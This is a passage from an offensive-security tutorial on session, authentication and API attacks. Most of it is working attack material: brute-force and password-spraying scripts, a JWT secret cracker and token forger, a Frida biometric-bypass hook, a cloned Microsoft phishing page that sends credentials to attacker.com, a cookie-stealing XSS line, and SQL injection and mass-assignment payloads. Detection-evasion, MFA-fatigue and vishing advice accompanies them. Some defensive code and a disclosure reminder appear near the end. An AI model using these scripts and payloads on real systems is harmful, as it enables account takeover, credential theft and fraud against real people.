// Logout endpoint without CSRF protection: GET /logout HTTP/1.1 Cookie: session=victim_session // Attacker forces victim logout: <img src="https://bank.com/logout"> // Why this matters: // 1. Victim is logged out unexpectedly // 2. Victim re-authenticates on public computer // 3. Forgets to logout (thinks already logged out) // 4. Next person uses computer, accesses victim's session // Or combined with session fixation: // 1. Force logout // 2. Set attacker-controlled session // 3. Victim logs in with that session // 4. Attacker hijacks session

Example 25: Cookie Tossing

// Target: www.bank.com sets: Set-Cookie: session=victim_session; Domain=bank.com; Path=/ // Attacker controls subdomain: evil.bank.com // Attacker sets conflicting cookie: Set-Cookie: session=attacker_session; Domain=bank.com; Path=/ // Browser sends BOTH cookies: GET /account HTTP/1.1 Host: www.bank.com Cookie: session=attacker_session; session=victim_session // Vulnerable parsing (takes first): $_COOKIE['session'] // = attacker_session // Or exploiting path priority: // Set: session=attacker; Path=/account // User visits: www.bank.com/account Cookie: session=attacker; session=victim // Path=/account has priority!

Session Attack Prevention

CSRF Defense: Use SameSite cookies, verify Origin/Referer headers, implement proper CSRF tokens (tied to session, not in cookie, unpredictable).

Session Security: Regenerate session ID on login, set HttpOnly/Secure/SameSite flags, implement session timeout, use secure random session IDs.

JWT Security: Use strong secrets (32+ bytes), verify algorithm strictly, check expiration, avoid embedding keys, use RS256 for public clients.

OAuth Security: Validate redirect URIs strictly, use state parameter, use PKCE for public clients, store secrets securely, enforce scopes.

The Session Security Mindset

Think of sessions as hotel room keys. The key itself must be unpredictable (random session ID), must only work over secure channels (HTTPS/Secure flag), must not be readable by outsiders (HttpOnly), and the hotel must verify you're not being forced to hand over your key (CSRF protection). When you check out, the key must be invalidated (logout), and you should get a new key if you check back in (session regeneration). Any weakness in this chain - predictable keys, unsecured delivery, forced handover, or key reuse - breaks the entire security model.

Testing Strategy

Identify Session Mechanism: Cookies, JWT, OAuth? Check flags and token structure.

CSRF Testing: Remove/modify tokens, test SameSite, try cross-origin requests.

Session Hijacking: Test for XSS, check cookie flags, sniff unencrypted traffic.

JWT Testing: Decode token, test algorithm confusion, check expiration, brute-force secret.

Exploitation Tools

Burp Suite: Generate CSRF PoCs, manipulate tokens, test session handling.

jwt_tool: Comprehensive JWT testing, algorithm attacks, key confusion.

Wireshark: Session sniffing, cookie interception on network.

Browser DevTools: Cookie inspection, storage analysis, request replay.

Real-World Impact

Account Takeover: Hijacked sessions = full account access, often with admin privileges.

Financial Loss: CSRF transfers, purchases, and actions performed as victim.

Data Breach: Access to sensitive data through stolen sessions.

Reputation Damage: Users lose trust when accounts are compromised.

Authentication Vulnerabilities

Authentication is supposed to be the gatekeeper, but it's often the weakest link. Broken authentication, password reset flaws, OAuth misconfigurations, and JWT vulnerabilities all offer paths to bypass the login entirely or escalate from anonymous to administrator.

Weak Passwords & Brute Force Attacks

The simplest authentication vulnerability is also the most common: weak passwords. Despite decades of security awareness campaigns, users still choose "password123" and "admin" with alarming frequency. Brute force attacks exploit this human weakness by systematically trying common passwords until one works.

The Master Key Theory: Imagine a hotel where 30% of rooms use the same master key. A burglar doesn't need to pick every lock - they just need to try the top 100 most common keys. That's password guessing in a nutshell. Most systems don't use infinite key combinations; they use the same 10,000 passwords recycled across millions of accounts.

πŸ”¨ Dictionary Attacks

Use wordlists containing millions of common passwords. Tools like Hydra and Medusa can test thousands of credentials per second against web forms, SSH, FTP, and database servers.

🧩 Credential Stuffing

Leverage breached password databases from previous hacks. When users reuse passwords across services, a breach at one site compromises accounts everywhere else.

🎯 Targeted Guessing

Research the target to craft personalized wordlists. Include company names, birthdays, pet names, and local sports teams - information easily harvested from social media.

// Example: Python brute force with rate limiting detection import requests import time def brute_force_login(url, username, wordlist): session = requests.Session() failed_attempts = 0 for password in wordlist: data = { 'username': username, 'password': password } start_time = time.time() response = session.post(url, data=data) elapsed = time.time() - start_time # Detect rate limiting if elapsed > 5: print("[!] Rate limiting detected, slowing down...") time.sleep(10) # Check for success indicators if "dashboard" in response.text or response.status_code == 302: print(f"[+] Password found: {password}") return password # Look for account lockout warnings if "account locked" in response.text.lower(): print("[!] Account locked, moving to next target") break failed_attempts += 1 if failed_attempts % 10 == 0: time.sleep(2) # Be stealthy return None # Usage with common passwords common_passwords = [ 'password', '123456', 'admin', 'letmein', 'welcome', 'monkey', 'dragon', 'master' ] brute_force_login('https://target.com/login', 'admin', common_passwords)

⚠️ Rate Limiting Bypass Techniques

Rate limiting isn't always effective. Rotate IP addresses using proxies, target different user accounts to avoid per-account limits, or exploit race conditions where concurrent requests bypass counters. Some systems only rate limit POST requests but not GET - adjust your attack accordingly.

Broken Password Reset Mechanisms

Password reset functionality is authentication's backdoor - and it's frequently misconfigured. Predictable reset tokens, missing validation steps, and poor implementation create opportunities to hijack any account without knowing the original password.

🎲 Predictable Reset Tokens

Tokens generated from timestamps, user IDs, or weak random number generators can be predicted or brute forced. Request multiple resets and analyze the pattern.

πŸ“§ Token Leakage

Reset tokens sent via email might leak through Referer headers, be logged in analytics, or remain valid indefinitely. Intercept tokens through MITM or exploit insufficient expiration.

πŸ”“ Missing Token Validation

Some systems accept password changes without validating the reset token. Send a reset request, then directly POST to the password change endpoint without the token.

// Example: Password reset token analysis // Request multiple password resets and analyze tokens Token 1: f7c3bc1d4e5f6a7b8c9d0e1f2a3b4c5d Token 2: f7c3bc1d4e5f6a7b8c9d0e1f2a3b4c5e Token 3: f7c3bc1d4e5f6a7b8c9d0e1f2a3b4c5f // Pattern detected: sequential incrementation // Next token prediction: f7c3bc1d4e5f6a7b8c9d0e1f2a3b4c60 // Exploitation script function exploitPredictableToken(targetEmail) { // Request legitimate reset requestPasswordReset(targetEmail); // Get your own reset token const myToken = getMyResetToken(); const tokenInt = parseInt(myToken, 16); // Predict victim's token (assuming sequential generation) const victimToken = (tokenInt + 1).toString(16); // Use predicted token to reset victim's password changePassword(targetEmail, victimToken, 'hacked123'); } // Another common flaw: token in URL parameter // https://site.com/reset-password?token=abc123&email=victim@example.com // Try changing email parameter without changing token https://site.com/reset-password?token=abc123&email=attacker@evil.com

Real-World Example: Instagram Password Reset (2015)

Instagram's password reset used predictable 6-digit codes that could be brute forced in hours. The vulnerability allowed attackers to reset any account by requesting a code, then systematically trying all million combinations. Instagram fixed this by implementing rate limiting - but only after successful exploitation was demonstrated.

Multi-Factor Authentication Bypass

MFA is supposed to provide "defense in depth" - even if passwords leak, attackers need the second factor. But MFA implementations are often flawed, creating bypass opportunities that restore single-factor vulnerability to what should be protected accounts.

πŸšͺ Direct URL Access

Some applications check MFA on login but not on subsequent page loads. After entering username/password, directly navigate to /dashboard or /account to bypass the MFA prompt entirely.

πŸ” Session Reuse

MFA might be checked once but not on session renewal. Steal a session cookie before MFA expires, wait for it to renew automatically, and the new session might lack MFA protection.

πŸ“± Backup Codes Enumeration

Backup codes are often short and lack rate limiting. Brute force the backup code space (typically 8-12 digits) to bypass app-based or hardware token MFA.

// Example: MFA bypass through response manipulation // Normal login flow with MFA enabled 1. POST /login -> username=victim&password=hunter2 Response: {"status": "mfa_required", "session": "abc123"} 2. POST /verify-mfa -> session=abc123&code=123456 Response: {"status": "success", "redirect": "/dashboard"} // Bypass attempt: manipulate the first response 1. POST /login -> username=victim&password=hunter2 Response: {"status": "mfa_required", "session": "abc123"} // Intercept with Burp and change to: Response: {"status": "success", "redirect": "/dashboard"} // Many applications trust client-side status checks // If frontend receives "success", it redirects to dashboard // Backend might not re-verify MFA status // Another bypass: OAuth backup login // Primary login: username/password + MFA required // OAuth login: "Sign in with Google" - often no MFA check // If same account links to both, OAuth becomes MFA bypass

⚠️ MFA Fatigue Attacks

Modern MFA push notifications can be exploited through social engineering. Repeatedly spam push notification requests to the victim's phone (20-30 times) until they approve one out of exhaustion or confusion. This works especially well at 3 AM when the victim just wants the notifications to stop.

Biometric Authentication Attacks

Fingerprints, facial recognition, and iris scans seem futuristic and secure - but biometric authentication has unique vulnerabilities. Unlike passwords, you can't change your fingerprints when they're compromised, and physical characteristics can be captured remotely or from residual traces.

πŸ‘† Fingerprint Lifting

Physical fingerprints left on glass surfaces can be photographed, enhanced, and printed onto gelatin or silicone to fool capacitive sensors. High-resolution photos of hands can suffice for many sensors.

😎 Facial Recognition Spoofing

2D facial recognition can be defeated with photographs. Even 3D systems may accept high-quality masks or video replays. Some implementations don't check for liveness (blinking, movement).

πŸ‘οΈ Iris Scanning Bypass

Iris patterns can be captured from medium-distance photos with sufficient resolution. Contact lenses printed with victim iris patterns can bypass some systems, especially those without near-infrared liveness detection.

// Example: Biometric bypass through API manipulation // Mobile app using biometric authentication // Normal flow: 1. App prompts for fingerprint 2. OS validates fingerprint locally 3. App sends "biometric_verified": true to backend 4. Backend grants access // Exploitation: // Many apps trust the client-side biometric result // Use Frida to hook the biometric callback Java.perform(function() { var BiometricPrompt = Java.use('androidx.biometric.BiometricPrompt'); BiometricPrompt.authenticate.overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'androidx.biometric.BiometricPrompt$AuthenticationCallback') .implementation = function(cancel, executor, callback) { console.log('[*] Biometric authentication intercepted'); // Trigger success callback without actual biometric verification var AuthenticationResult = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult'); var result = AuthenticationResult.$new(null); callback.onAuthenticationSucceeded(result); }; }); // Alternative: Root device and modify biometric database // Android: /data/system/users/0/settings_fingerprint.xml // iOS: /var/Keychains/keychain-2.db (requires jailbreak)
The Copy vs Original Problem: Passwords are secrets you know. Biometrics are characteristics you are. If someone steals your password, you change it. If someone steals your fingerprint data, you can't grow new fingers. This fundamental limitation means biometric systems must assume the biometric database itself is compromised and implement additional security layers - but many don't.

Social Engineering Authentication Attacks

The most powerful authentication bypass doesn't hack the system - it hacks the human. Social engineering exploits trust, authority, urgency, and fear to trick users into revealing credentials or support staff into resetting passwords without proper verification.

🎭 Pretexting

Create a believable scenario that justifies the request. "I'm from IT, we detected suspicious activity on your account, I need to verify your password to secure it." People comply when the story makes sense.

πŸ“ž Vishing (Voice Phishing)

Call the help desk pretending to be the victim. Use publicly available information (birthdate, address from data breaches) to pass security questions. Request password reset to attacker-controlled email.

🎣 Spear Phishing

Send targeted emails mimicking legitimate services. "Your account will be suspended unless you verify credentials." Link to fake login page that captures credentials and forwards to real site.

// Example: Credential phishing page with forwarding <!DOCTYPE html> <html> <head> <title>Microsoft Account Sign In</title> <!-- Clone legitimate Microsoft login CSS --> <link rel="stylesheet" href="cloned-microsoft-styles.css"> </head> <body> <div class="login-container"> <img src="microsoft-logo.png" alt="Microsoft"> <h1>Sign in to your account</h1> <form id="phishing-form"> <input type="email" id="email" placeholder="Email, phone, or Skype" required> <input type="password" id="password" placeholder="Password" required> <button type="submit">Sign in</button> </form> </div> <script> document.getElementById('phishing-form').addEventListener('submit', async (e) => { e.preventDefault(); const email = document.getElementById('email').value; const password = document.getElementById('password').value; // Log credentials to attacker server await fetch('https://attacker.com/log', { method: 'POST', body: JSON.stringify({email, password, timestamp: Date.now()}) }); // Forward user to real Microsoft login to avoid suspicion // They'll think they just typed password wrong the first time window.location.href = `https://login.microsoft.com?username=${email}`; }); </script> </body> </html>

Attack Chain: Complete Account Takeover

Step 1: Reconnaissance - Find target's email on LinkedIn, name from company website, probable username format (first.last@company.com).

Step 2: Password Reset Request - Trigger password reset on target application, note security questions.

Step 3: OSINT Gathering - Search data breach databases for old passwords, social media for pet names, family birthdays, hometown.

Step 4: Vishing - Call support, impersonate target using gathered info, request password reset code to "new phone number."

Step 5: Account Takeover - Reset password, enable MFA on attacker's device, lock out legitimate user, exfiltrate data.

Password Spraying

Password spraying inverts the brute force approach: instead of trying many passwords against one account (and triggering lockouts), try one common password against many accounts. Just a few successful logins among thousands of attempts can provide initial access while staying under the radar.

The Lockpicking vs Key Duplication Strategy: Traditional brute force is like trying every key on your keyring against one lock - obvious and noisy. Password spraying is like trying one common key (like "Summer2024!") against every lock in the building. Only a few doors need to open for you to get inside, and nobody notices because each lock only sees one failed attempt.

🎯 Target Selection

Enumerate valid usernames through registration pages, forgot password responses, or employee directories. Focus on organizations with poor password policies and no account lockout.

πŸ“… Seasonal Passwords

Use passwords that comply with typical policies but are commonly chosen: "Spring2024!", "Summer2024!", "CompanyName123!". Organizations forcing password changes every 90 days create predictable patterns.

⏱️ Timing Strategy

Space login attempts across hours or days. One attempt per account per day against 10,000 accounts is 10,000 login attempts - but no individual account triggers lockout.

// Example: Password spraying with username enumeration import requests import time from datetime import datetime def enumerate_users(base_url, user_list): """Identify valid usernames through timing or response differences""" valid_users = [] for username in user_list: response = requests.post(f'{base_url}/forgot-password', data={'username': username}) # Look for subtle differences indicating valid user if "email sent" in response.text.lower(): valid_users.append(username) elif response.elapsed.total_seconds() > 2: # Some systems have slower responses for valid users # due to email sending operations valid_users.append(username) return valid_users def password_spray(base_url, users, passwords, delay=3600): """ Spray common passwords across multiple accounts delay: seconds between attempts per account (default 1 hour) """ successful_logins = [] for password in passwords: print(f"[*] Trying password: {password}") for username in users: try: response = requests.post(f'{base_url}/login', data={'username': username, 'password': password}, timeout=10) if response.status_code == 302 or "dashboard" in response.text: print(f"[+] SUCCESS: {username}:{password}") successful_logins.append((username, password)) # Slow and steady - one attempt per hour per account time.sleep(delay) except Exception as e: print(f"[-] Error with {username}: {e}") continue return successful_logins # Common password patterns that meet typical complexity requirements seasonal_passwords = [ 'Spring2024!', 'Summer2024!', 'Fall2024!', 'Winter2024!', 'January2024!', 'February2024!', 'March2024!', 'Password123!', 'Welcome123!', 'Admin123!', 'CompanyName2024!', 'CompanyName123!' ] # Enumerate valid users users = enumerate_users('https://target.com', potential_usernames) # Begin password spray results = password_spray('https://target.com', users, seasonal_passwords, delay=3600)

⚠️ Detection Evasion

Modern SOC teams watch for password spraying. Evade detection by: rotating source IPs through residential proxies, mimicking legitimate login patterns (only during business hours), using VPN services common in the target geography, spacing attempts across months rather than days, and avoiding obvious passwords like "Password123" in favor of company-specific variants.

JWT Token Vulnerabilities

JSON Web Tokens (JWT) are everywhere in modern web applications, handling authentication and authorization without server-side session storage. But JWT implementations are notoriously fragile - algorithm confusion, weak secrets, and missing validation create opportunities to forge arbitrary tokens and impersonate any user.

πŸ” Algorithm Confusion (alg: none)

Modify the JWT header to specify "alg": "none", remove the signature, and some servers accept it as valid. This bypasses all cryptographic protection.

πŸ”‘ Weak Secret Keys

JWT signatures use symmetric keys (HS256) or asymmetric keys (RS256). Weak symmetric keys can be brute forced offline using tools like jwt_tool or hashcat.

πŸ”„ Algorithm Substitution (RS256 to HS256)

RS256 uses private key to sign, public key to verify. If you change algorithm to HS256, some servers use the public key as the symmetric secret - which you already know.

// Example: JWT structure and vulnerabilities // Original JWT (base64url encoded, split by periods) eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYXR0YWNrZXIiLCJyb2xlIjoidXNlciJ9.signature // Decoded header: { "alg": "HS256", "typ": "JWT" } // Decoded payload: { "user": "attacker", "role": "user" } // Attack 1: Algorithm None // Change header to "alg": "none", modify payload, remove signature eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ. // Attack 2: Weak Key Brute Force import jwt import hashlib def brute_force_jwt_secret(token, wordlist): """Try to crack JWT HMAC secret""" header, payload, signature = token.split('.') for word in wordlist: try: # Try to verify with this secret decoded = jwt.decode(token, word, algorithms=['HS256']) print(f"[+] Secret found: {word}") return word except jwt.InvalidSignatureError: continue return None # Attack 3: Algorithm Substitution def exploit_rs256_to_hs256(token, public_key): """Convert RS256 token to HS256 using public key as secret""" header = {"alg": "HS256", "typ": "JWT"} payload = {"user": "admin", "role": "admin"} # Sign with public key as HMAC secret forged_token = jwt.encode(payload, public_key, algorithm='HS256', headers=header) return forged_token // Attack 4: JWT Parameter Injection // Some implementations accept keys in header { "alg": "HS256", "typ": "JWT", "kid": "key1" // Key ID - might be injectable } // If kid is used in filesystem operations or SQL queries: "kid": "../../../dev/null" // File read "kid": "key1' UNION SELECT 'secret'--" // SQL injection

Real-World Example: Auth0 JWT Vulnerability

In 2020, researchers discovered that some JWT libraries accepted tokens with multiple 'alg' fields in the header. By including both "alg": "HS256" and "alg": "none", they could confuse parsers into skipping signature verification entirely. Auth0 and several other major authentication providers were vulnerable, allowing complete authentication bypass on millions of applications.

OAuth & SSO Exploitation

OAuth and Single Sign-On (SSO) let users authenticate once and access multiple services - convenience that comes with centralized risk. Misconfigured OAuth flows, poor state validation, and trust assumptions create opportunities to hijack accounts across entire ecosystems.

πŸ”— Authorization Code Interception

OAuth uses authorization codes passed via URL redirects. Intercept these codes through open redirects, manipulated redirect_uri parameters, or by registering malicious applications with similar names.

🎭 State Parameter Bypass

The state parameter prevents CSRF attacks in OAuth flows. When it's missing or not validated, attackers can initiate OAuth flows and trick victims into completing them, linking victim accounts to attacker-controlled profiles.

πŸ”“ Scope Elevation

OAuth applications request specific scopes (permissions). Modify the scope parameter during the flow to request broader permissions than originally granted, or exploit implicit grants to access unintended resources.

// Example: OAuth exploitation scenarios // Normal OAuth flow: 1. User clicks "Login with Google" 2. App redirects: https://accounts.google.com/oauth/authorize ?client_id=app123 &redirect_uri=https://app.com/callback &response_type=code &scope=email profile &state=random_csrf_token 3. User approves, Google redirects: https://app.com/callback?code=AUTH_CODE&state=random_csrf_token 4. App exchanges code for access token 5. App uses token to access user's Google profile // Attack 1: Redirect URI Manipulation // If redirect_uri validation is weak, redirect to attacker domain redirect_uri=https://attacker.com/steal-code // Or exploit open redirect on legitimate domain redirect_uri=https://app.com/redirect?url=https://attacker.com // Attack 2: Missing State Validation // Initiate OAuth flow on attacker account // Get authorization code // Trick victim into using that code // Result: Victim's OAuth account linked to attacker's app account <img src="https://app.com/oauth/callback?code=ATTACKER_CODE" style="display:none"> // Attack 3: Scope Modification // Original request: scope=email // Modified request: scope=email profile gmail.readonly calendar // If backend doesn't validate actual granted scopes, you might get access // Attack 4: Account Linking Hijack async function exploitOAuthLinking() { // Attacker initiates "Link Google Account" in victim's app session // If app doesn't verify who initiated the link: // 1. CSRF victim into starting OAuth flow // 2. Attacker completes the flow with their Google account // 3. Victim's account now linked to attacker's Google // 4. Attacker can login to victim's account via "Login with Google" const csrfPayload = ` <form id="evil" action="https://target.com/link-google" method="POST"> <input name="oauth_token" value="ATTACKER_GOOGLE_TOKEN"> </form> <script>document.getElementById('evil').submit();</script> `; }

⚠️ OAuth Implicit Grant Dangers

Implicit grant flow returns access tokens directly in URL fragments, meant for browser-only JavaScript apps. These tokens can leak through Referer headers, browser history, or malicious browser extensions. Always prefer authorization code flow with PKCE (Proof Key for Code Exchange) instead of implicit grants for any sensitive operations.

Session Management Vulnerabilities

Even with perfect password security, weak session management can undo everything. Predictable session IDs, missing expiration, improper cookie flags, and session fixation attacks let attackers hijack authenticated sessions without ever knowing the victim's password.

🎲 Predictable Session IDs

Session tokens generated from timestamps, sequential numbers, or weak random functions can be predicted. Collect multiple session IDs, analyze the pattern, predict valid IDs for other users.

πŸ“Œ Session Fixation

Force a victim to use an attacker-controlled session ID. After the victim authenticates, the attacker's session ID becomes authenticated, granting access without knowing credentials.

πŸͺ Cookie Hijacking

Session cookies without HttpOnly, Secure, or SameSite flags can be stolen via XSS, transmitted over insecure HTTP, or exploited through CSRF. Proper flags are critical but often missing.

// Example: Session ID analysis and exploitation // Collect multiple session IDs to analyze entropy Session 1: 1234567890abcdef Session 2: 1234567891abcdef Session 3: 1234567892abcdef // Pattern: Sequential with timestamp prefix // Prediction: Generate IDs around current timestamp function predictSessionIds(observedId) { const timestamp = parseInt(observedId.substring(0, 10)); const predictions = []; // Generate IDs for timestamps Β±1 hour for (let offset = -3600; offset < 3600; offset++) { const predictedTimestamp = timestamp + offset; const predictedId = predictedTimestamp + 'abcdef'; predictions.push(predictedId); } return predictions; } // Session Fixation Attack // 1. Get a session ID from target site GET /login Response: Set-Cookie: sessionid=attacker_controlled_id // 2. Trick victim into using this session ID <img src="https://target.com/login?sessionid=attacker_controlled_id"> // 3. Victim logs in using the fixed session // 4. Attacker's session ID is now authenticated // Session Hijacking via Cookie Theft // If cookies lack HttpOnly flag, steal via XSS: <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> // Cookie attributes comparison: // Insecure cookie: Set-Cookie: session=abc123 // Secure cookie: Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600 // HttpOnly: Prevents JavaScript access (XSS protection) // Secure: Only transmitted over HTTPS // SameSite: Prevents CSRF attacks // Max-Age: Limits session lifetime
The Hotel Key Card Analogy: Session management is like a hotel giving you a key card. Weak session management is like the hotel using sequential room numbers as card codes (predictable), never changing cards when you check out (no expiration), or writing your room number on the card in sharpie (session fixation). Good session management generates random, unpredictable cards, invalidates them after checkout, and never reveals which room they unlock.

Advanced Authentication Bypasses

Beyond standard vulnerabilities lie exotic techniques that work against seemingly secure systems. These attacks combine multiple weaknesses, exploit subtle implementation flaws, or abuse legitimate features in unintended ways.

πŸ”€ Race Conditions

Send multiple authentication requests simultaneously to exploit race conditions in account lockout, rate limiting, or credit-based systems. Even a millisecond window can be enough.

πŸ’‰ SQL Injection in Auth

Authentication queries are high-value SQL injection targets. Bypass login with ' OR '1'='1' --, extract password hashes, or modify queries to grant unauthorized access.

🌐 Unicode Normalization

Different Unicode representations of the same character might normalize differently. Create accounts with visually identical usernames using different Unicode, bypassing uniqueness checks and confusing authentication logic.

// Example: Race condition exploitation // Vulnerable code checks credits then deducts: if (user.credits >= cost) { // Race condition window here! user.credits -= cost; grantAccess(); } // Exploitation: Send 10 requests simultaneously async function exploitRaceCondition() { const requests = []; for (let i = 0; i < 10; i++) { requests.push( fetch('https://target.com/purchase', { method: 'POST', body: JSON.stringify({item: 'premium_access'}), headers: {'Content-Type': 'application/json'} }) ); } // Fire all requests at once const responses = await Promise.all(requests); // If vulnerable, multiple requests complete before credit deduction // User gets 10 premium accesses for price of 1 } // SQL Injection auth bypass examples: // Basic bypass: username: admin' OR '1'='1' -- password: anything // Results in query: SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='hash' // The -- comments out password check, '1'='1' is always true // Advanced: Time-based extraction username: admin' AND IF(SUBSTRING(password,1,1)='a',SLEEP(5),0) -- // If first character of password is 'a', response delayed 5 seconds // Automate to extract entire password hash // Unicode normalization bypass: // Register account with Unicode lookalike: username: Π°dmin (Cyrillic 'Π°' instead of Latin 'a') email: attacker@evil.com // System might normalize during display but not during auth // Victim searches for 'admin', sees your account, gets confused // Social engineering becomes easier with "official" looking account

Case Study: GitHub OAuth Bypass (2020)

Researchers discovered a race condition in GitHub's OAuth implementation. By sending multiple token exchange requests simultaneously with the same authorization code, they could generate multiple valid access tokens from a single-use code. This allowed lateral movement across OAuth applications and account takeover scenarios that should have been prevented by the single-use code mechanism.

⚠️ Responsible Disclosure

Authentication vulnerabilities affect real users and their data. Always practice responsible disclosure: test only on systems you own or have explicit permission to test, never exploit vulnerabilities for personal gain, report findings to vendors through proper security channels, give organizations reasonable time to patch before public disclosure, and never sell vulnerability information to malicious actors.

Defense Strategies

Understanding attack techniques is essential for building robust defenses. Effective authentication security requires defense in depth - multiple overlapping protections that remain effective even when individual controls fail.

πŸ” Strong Password Policies

Enforce minimum entropy, check against breached password databases (Have I Been Pwned), implement progressive delays after failed attempts, and consider passwordless authentication (WebAuthn, magic links).

πŸ›‘οΈ Rate Limiting & Lockout

Implement exponential backoff, track failed attempts per IP and per account, use CAPTCHA after threshold, deploy distributed rate limiting to prevent bypass via load balancers.

πŸ”‘ Secure Session Management

Generate cryptographically random session IDs (at least 128 bits entropy), rotate IDs after authentication state changes, set appropriate expiration times, use secure cookie attributes.

// Example: Secure authentication implementation const crypto = require('crypto'); const bcrypt = require('bcrypt'); const rateLimit = require('express-rate-limit'); // 1. Secure password hashing async function hashPassword(password) { const saltRounds = 12; // Increase over time as hardware improves return await bcrypt.hash(password, saltRounds); } // 2. Rate limiting with exponential backoff const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 5, // 5 attempts per window skipSuccessfulRequests: true, handler: (req, res) => { const attemptsLeft = req.rateLimit.limit - req.rateLimit.current; const resetTime = new Date(req.rateLimit.resetTime); res.status(429).json({ error: 'Too many login attempts', attemptsLeft: Math.max(0, attemptsLeft), resetAt: resetTime.toISOString() }); } }); // 3. Secure session ID generation function generateSessionId() { return crypto.randomBytes(32).toString('hex'); // 256 bits of entropy } // 4. Complete login implementation app.post('/login', loginLimiter, async (req, res) => { const { username, password, mfaCode } = req.body; // Prevent timing attacks - always hash even if user doesn't exist const dummyHash = '$2b$12$dummyHashToPreventTimingAttacks...'; const user = await db.findUser(username); const passwordHash = user ? user.passwordHash : dummyHash; // Constant-time comparison const passwordValid = await bcrypt.compare(password, passwordHash); if (!user || !passwordValid) { // Log failed attempt for monitoring await logFailedLogin(req.ip, username); // Generic error message to prevent user enumeration return res.status(401).json({ error: 'Invalid credentials' }); } // Check MFA if enabled if (user.mfaEnabled) { const mfaValid = await verifyTOTP(user.mfaSecret, mfaCode); if (!mfaValid) { return res.status(401).json({ error: 'Invalid MFA code' }); } } // Generate secure session const sessionId = generateSessionId(); const session = { userId: user.id, createdAt: Date.now(), ip: req.ip, userAgent: req.headers['user-agent'] }; await db.saveSession(sessionId, session); // Set secure cookie res.cookie('sessionId', sessionId, { httpOnly: true, // Prevent XSS access secure: true, // HTTPS only sameSite: 'strict', // CSRF protection maxAge: 3600000 // 1 hour }); res.json({ success: true }); }); // 5. Session validation middleware async function requireAuth(req, res, next) { const sessionId = req.cookies.sessionId; if (!sessionId) { return res.status(401).json({ error: 'Not authenticated' }); } const session = await db.getSession(sessionId); if (!session) { return res.status(401).json({ error: 'Invalid session' }); } // Check session expiration if (Date.now() - session.createdAt > 3600000) { await db.deleteSession(sessionId); return res.status(401).json({ error: 'Session expired' }); } // Verify session hasn't been hijacked (basic check) if (session.ip !== req.ip || session.userAgent !== req.headers['user-agent']) { await db.deleteSession(sessionId); await logSuspiciousActivity(session.userId, 'Session hijacking attempt'); return res.status(401).json({ error: 'Session validation failed' }); } req.user = await db.findUserById(session.userId); next(); }

Key Takeaways

For Attackers: Authentication is the weakest link in most systems. Focus on password resets, MFA bypass, session management, and social engineering. Combine multiple small vulnerabilities for maximum impact.

For Defenders: Assume passwords will be compromised - implement strong MFA, monitor for suspicious authentication patterns, use secure session management, and prepare incident response procedures for account takeover scenarios.

For Everyone: Enable MFA everywhere possible, use a password manager with unique passwords per site, be suspicious of unexpected password reset emails, and never share credentials even with "IT support."

API Security & SSRF

Modern applications are built on APIs, and APIs are built on assumptions that attackers love to violate. Broken object-level authorization, mass assignment, SSRF, and API abuse let you access data you shouldn't, manipulate objects you don't own, and make the server attack itself.

The API Security Reality

APIs are like the service entrances to a building - less glamorous than the front door, often less secure, but they provide the same access. While developers focus on securing the main application, APIs get bolted on with minimal security thought. "It's internal only" they say, until you find it exposed. "It's authenticated" they claim, until you bypass it. APIs are where security assumptions go to die.

REST API Vulnerabilities

REST APIs follow predictable patterns, which makes them predictable to attack. Understand these patterns and you can break most REST APIs without reading a single line of documentation.

Broken Object Level Authorization (BOLA)

The Attack: APIs often check if you're authenticated but not if you're authorized to access specific objects. Change an ID parameter and you access someone else's data.

Why It Works: Developers assume "if they got this far, they must be allowed." They check authentication globally but forget authorization per-object.

GET /api/v1/users/123/profile Authorization: Bearer eyJhbGc... # Try other IDs: GET /api/v1/users/124/profile GET /api/v1/users/125/profile GET /api/v1/users/1/profile # Admin user? GET /api/v1/users/admin/profile

BOLA Exploitation Patterns

# Sequential ID Enumeration for id in range(1, 10000): r = requests.get(f"https://api.target.com/orders/{id}", headers={"Authorization": f"Bearer {token}"}) if r.status_code == 200: print(f"[+] Order {id}: {r.json()}") # GUID/UUID Prediction (if poorly generated) import uuid # Some systems use predictable UUIDs base = uuid.UUID('12345678-1234-5678-1234-567812345678') for i in range(1000): test_uuid = uuid.UUID(int=base.int + i) # Test this UUID... # Parameter Pollution for BOLA GET /api/users?id=123&id=456&id=789 # Server might check id=123 (yours) but return all three # Nested Object Access GET /api/companies/1/employees/5/salary # Check authorization on company 1, forget employee 5

Mass Assignment Vulnerabilities

The Attack: APIs that accept JSON/XML often bind request parameters directly to object properties. Send extra parameters and you might set fields that shouldn't be modifiable.

Real Example: GitHub's $50k bug - users could add themselves to any organization by including "role_id" in signup API requests.

# Normal user update: POST /api/users/profile { "name": "John Doe", "email": "john@example.com" } # Mass assignment attack: POST /api/users/profile { "name": "John Doe", "email": "john@example.com", "role": "admin", # Try to become admin "is_verified": true, # Bypass email verification "credits": 999999, # Give yourself credits "is_premium": true, # Unlock premium features "account_type": "enterprise", # Upgrade account "permissions": ["*"] # Grant all permissions }

Mass Assignment Discovery

# Identify internal field names 1. Check API responses for field names 2. Look at JavaScript code for object models 3. Find API documentation/Swagger 4. Error messages might leak field names # Systematic testing: common_admin_fields = [ "admin", "is_admin", "isAdmin", "role", "role_id", "user_role", "access_level", "privileges", "permissions", "is_verified", "verified", "email_verified", "account_type", "subscription", "plan", "tier", "credits", "balance", "premium", "is_premium" ] # Test each field for field in common_admin_fields: payload = { "name": "Test", field: True # or "admin", or 999, etc. } # Send and check if it was set

Broken Function Level Authorization

The Attack: Admin endpoints exist at predictable URLs, often just checking HTTP verb (GET vs POST) or basic authentication, not role-based access.

